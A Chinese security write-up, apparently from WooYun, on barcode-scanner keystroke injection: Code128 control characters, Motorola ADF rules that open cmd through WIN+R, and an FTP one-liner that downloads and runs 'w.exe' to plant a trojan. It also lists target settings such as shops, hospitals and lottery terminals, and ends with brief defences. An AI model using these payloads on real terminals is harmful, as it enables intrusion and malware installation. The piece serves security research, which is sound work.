<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/12183

            Author:[email protected]

            0x00 前言


            在日常生活中,條形碼隨處可見,特別在超市,便利店,物流業,但你們掃的條形碼真的安全嗎?之前TK教主?在PacSec介紹的條形碼攻擊和twitter上的demo視頻太炫酷,所以就自己買了個掃碼器自己研究了一下 ,在研究時候也找遍了國內外所有資料,但是都沒有對可以執行的攻擊技術完整的文章,故有此文分享。 : )

            0x01 條形碼介紹


            p1

            條形碼(barcode)是將寬度不等的多個黑條和空白,按照一定的編碼規則排列,用以表達一組信息的圖形標識符。常見的條形碼是由反射率相差很大的黑條(簡稱條)和白條(簡稱空)排成的平行線圖案。

            常見的條形碼類型有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一維條形碼,而QR則是二維條形碼,本文重點針對支持一維條形碼的掃碼器。其中code128是使用最廣泛,支持字符最多的一種類型,一般都利用code128條形碼進行攻擊。

            0x02 掃碼器介紹


            p2

            掃碼器,大家幾乎每天都能看到,在超市付賬,物流,醫院,彩票等。作用就是把條形碼的信息提取出來,而常規的掃碼器的工作原理是利用紅外線照射,然后反射得出條形碼的信息,再用掃描器內置的芯片處理得出結果。國際上常用的掃描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托羅拉收購。

            大家在超市購物付賬時候都注意到,商品通過掃描后,商品的編碼直接顯示在屏幕上,其實很多掃碼器都是用keyboard的方式輸入的,也就是說一個掃描器就相當于一個鍵盤,這是一個較大的風險。

            p3

            0x03 Code128條形碼


            既然知道掃描器是一個keyboard設備,只要控制條形碼的數據就可以隨意輸入鍵盤數據了。但例如UPC條形碼只支持數字,有些則只支持數字與字母,而Code128 是一種廣泛使用的條形碼類型,因為它支持ASCII 0-127字符,所以叫code128,條形碼長度可調,最大支持232個字符。

            Code128也分為三種:

            1. Code128A:標準數字和大寫字母,控制符,特殊字符
            2. Code128B:標準數字和大寫字母,小寫字母,特殊字符
            3. Code128C/EAN128:[00]-[99]的數字對集合,共100個,即只能表示偶數位長度的數字。

            Code128由四部分組成:起始碼,數據碼,校驗碼(可有可無),結束碼

            p4

            如上條形碼,黑白相間,且線條粗細不一;由黑色線條(條,Bar)與空白(空,Space)組成,根據粗細程度,可以將以上條形碼起始碼解讀為:211214;第一條黑色豎線是由兩個單位的豎線合并組成,而第二條空白豎線即由一個單位的豎線,如此類推。一般前6條的Bar與Space為一個單元。211214 用1,0轉成邏輯碼就是11010010000,也即是起始碼。

            起始碼對照:

            結束碼都是統一的1100011101011

            根據上面的解讀出的邏輯碼11010010000,就可以推斷上面那個條形碼是屬于code128-B類型了。

            p5

            p6

            最后再根據code128的編碼表就可以分析出條形碼的數據(編碼表太長就不貼完了)

            0x04 控制字符與條形碼生成


            根據上面分析的code128規則,已經可以自己寫出一個讀取識別和生成條形碼的程序了。而我們是要執行操作,最簡單的就是利用控制字符。控制字符即非顯示字符,例如回車,換行,制表符等。在ASCII中,0-31和127 就是控制字符。

            p7

            根據ASCII的控制字符表,可以看出Ctrl+?的組合鍵幾乎都有了,例如Ctrl+O,也就是打開文件,但這個只是局部快捷組合鍵,在一些程序中才能應用,例如瀏覽器,word等等,利用這些控制字符在某些終端可以使程序跳出沙盒。如何生成可以使計算機執行Ctrl+O的條形碼?因為已經上面已經介紹過code128的規則算法,自己寫程序也可以。網絡也有很多條形碼生成的小程序,但在這里推薦一個強大的條形碼編輯工具:BarTender

            p8

            下載安裝后點擊菜單欄“文件”-“新建”-“完成”,就會出現一個空白模板。

            p9

            然后點擊條形碼按鈕就可以創建自己的條形碼,選擇code128類型。

            p10

            利用BarTender輕松就可以生成出條形碼,而且字符可以隨時改動,方便調試。掃描上圖就驗證碼后,會輸入“FutureSec”,然后輸入控制字符Ctrl+O

            p11

            掃碼器掃描后立即彈出對話框

            市面上基本任何一款掃碼器都能執行,因為code128是絕大部分掃碼器都支持的。

            0x05 Advanced Data Formatting(高級數據格式)


            Advanced Data Formatting(ADF),高級數據格式。是摩托羅拉針對掃描器開發的一種更高級的數據輸入,根據自己的設定一步一步的規則可以自定義輸入的數據,也可以說是一種支持編程的條形碼技術。

            例如,在一個結賬系統中,當你對一個商品掃描后,由于該結賬系統不能直接對該條形碼直接處理,就需要這種技術。結賬系統識別碼:A12345,前面要A開頭;條形碼的數據類型:12345 純數字,想要在這個結賬系統中識別就要在輸入前進行處理。

            再舉個例子:

            條形碼的數據:

            8523647122

            通過ADF輸出的數據:

            8523641<Enter>

            如何實現ADF?

            p12

            現在網上仍然沒有ADF的中文資料,而在外國的網站也寥寥無幾,無人問津,但靠tk的ppt中提到的ADF也是一頭霧水,因為沒有具體技術描述,只是一行字帶過。后來找到一份摩托羅拉撰寫300多頁的ADF指南PDF。

            ADF是一種編程,根據自己的需求構建規則,而用的就不是用代碼進行編程而是條形碼。ADF把所有規則都用條形碼表示,例如Perfix/Suffix,Replace,字符輸入等。

            利用ADF挾持掃描器數據

            對掃描器進行ADF設置時要先掃描開始模式,Begin New Rule

            p13

            此后開始掃描的條形碼都會被添加規則,前提是規則的邏輯是合法的。

            隨后依次掃描下列條形碼

            p14

            p15

            p16

            p17

            然后Save Rule

            p18

            當Save Rule,掃描器的輸出數據都會被挾持成“TEST”,當你設置了ADF時,就會把你的規則按流程一步一步執行。

            如何恢復?

            p19

            掃描清除所有規則條形碼即可。

            0x06 利用ADF執行命令,種植木馬


            由于單憑控制字符無法執行命令,而ADF支持簡單的編程和更多的鍵,利用ADF可以輕松執行系統命令。由于ADF支持很多鍵,例如最有用的WIN+R。

            p20

            在ADF中稱為GUI R,既然知道了可以WIN+R的鍵,利用上面的規則就可以彈出cmd執行了。但這樣還是不行,因為輸入的是由系統自動輸入,速度是手打無法可比的,當你執行到GUI R,再執行"c","m","d",win+r的對話框還沒有出來就已經輸入了cmd,所有要延時,而ADF就支持,相當于編程中的sleep()

            p21

            在錄ADF規則時,掃描延時后要輸入兩個Numeric,例如依次0和1兩個碼,就代表延時0.1秒,0和5就代表0.5秒,默認是延時1秒。

            知道這些ADF條形碼后就可以構建彈出cmd,然后再利用控制字符執行命令,主要是Enter。但如果要按照以上這么搞的話,僅是彈出一個cmd窗口就要十多個條形碼了,也就是說掃描器要掃十多次。可以先看看騰訊玄武實驗室的demo視頻:

            https://twitter.com/tombkeeper/status/663730674017300480

            視頻中用了一疊條形碼,依次掃描,掃描了十多次就出來個cmd,可能這與掃描器型號也有關系。

            p22

            這樣的話不管是規則生成和利用都非常繁瑣,其實是可以優化的,ADF的規則可以合并。利用motorola的掃描器軟件123scan。

            p23

            123scan是摩托羅拉官方出品非常強大的掃描器管理軟件,在其官網可以下載。功能很多,在這里就介紹利用123scan設置ADF。

            打開后點擊"Create new configuration file"->"My scanner is NOT connected"->選擇掃描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。

            p24

            點擊Add action就是添加規則。

            p25

            ADF所有規則都在里面,包括Beep控制(控制掃描器蜂鳴),Replace等。

            p26

            設置延時0.5秒,依次添加規則。

            p27

            最后會自動合并條形碼并輸出。

            p28

            以上就是執行任意命令的條形碼payload,除去1和2的設置出廠設置和清除所有規則,只需要4個條形碼就可以執行任意單條命令。其中Send ALL that remains是代表設置ADF后掃描條形碼的原本數據。 以上四組條形碼的ADF流程是:輸入WIN+R鍵->延時0.5秒->輸入c鍵->輸入m鍵->輸入d鍵->輸入回車->延時0.5秒->執行條形碼的內容,而隨后的Send ALL that remains就是你要執行的命令,可以多行命令,要是單行命令基本上4條就夠不需要加Send ALL that remains。

            利用ADF種植木馬

            既然已經可以執行cmd命令,最簡單的方法就是利用ftp下載執行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

            p29

            #!bash
            ftp test?CR?a?CR?a?CR?get w.exe?CR?bye?CR?w.exe?CR?get w.exe?CR?bye?CR?w.exe?CR?
            

            下面給出我們的demo視頻,是已經經過掃描四次ADF設置后。不管掃描什么條形碼執行到Send ALL that remains。視頻中是利用FTP命令執行。

            (測試型號Symbol-LS4208-SR20001ZZR)

            http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2

            密碼:wooyun520

            0x07 攻擊場景


            簡單總結一下可能存在攻擊的場景地點:

            1.商店付款

            p30

            直接把條形碼替換到商品;很多便利店支持微信,支付寶二維碼支付,掃描器也支持多個類型條形碼,可以直接把條形碼存在手機中,讓其掃描;有些大型百貨有資助價格查詢終端,只要用特殊的條形碼到終端一掃就能跳出終端。

            2.醫院病歷,檢驗單

            p31

            現在醫院的掛號,病歷都會有個條形碼,直接到醫院自主終端或直接遞給護士掃描;去醫院都知道,有資助出檢驗單的終端,只要一掃就會單子,基本每個醫院都有了。

            p32

            3.彩票

            p32

            彩票自身都會有條形碼,兌換彩票就憑靠條形碼到機器識別,所以偽造或對檢驗機進行攻擊還是有可能,彩票終端類型這么多。

            p33

            4.快遞單子

            p34

            快遞都有條形碼,一般是code128或者code39類型。在一些快遞自助取件柜,和快遞小哥掃描的時候或許會出現風險。

            p35

            。。。。。。

            場景很多就不一一列舉了,以上場景有空我會逐一分析。

            0x08 防范方法


            1. 掃碼器默認不要開啟ADF功能
            2. 掃描器盡量不要使用鍵盤模擬
            3. 設置熱鍵黑名單

            0x09 總結


            一維條形碼攻擊的概念在國外很多年前就有提出了,但是沒人深入研究。利用條形碼也可能出現SQL注射,XSS,溢出等攻擊。

            無論什么設備,只要能控制一部分輸入,就存在風險!

            0x0A 參考文獻


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线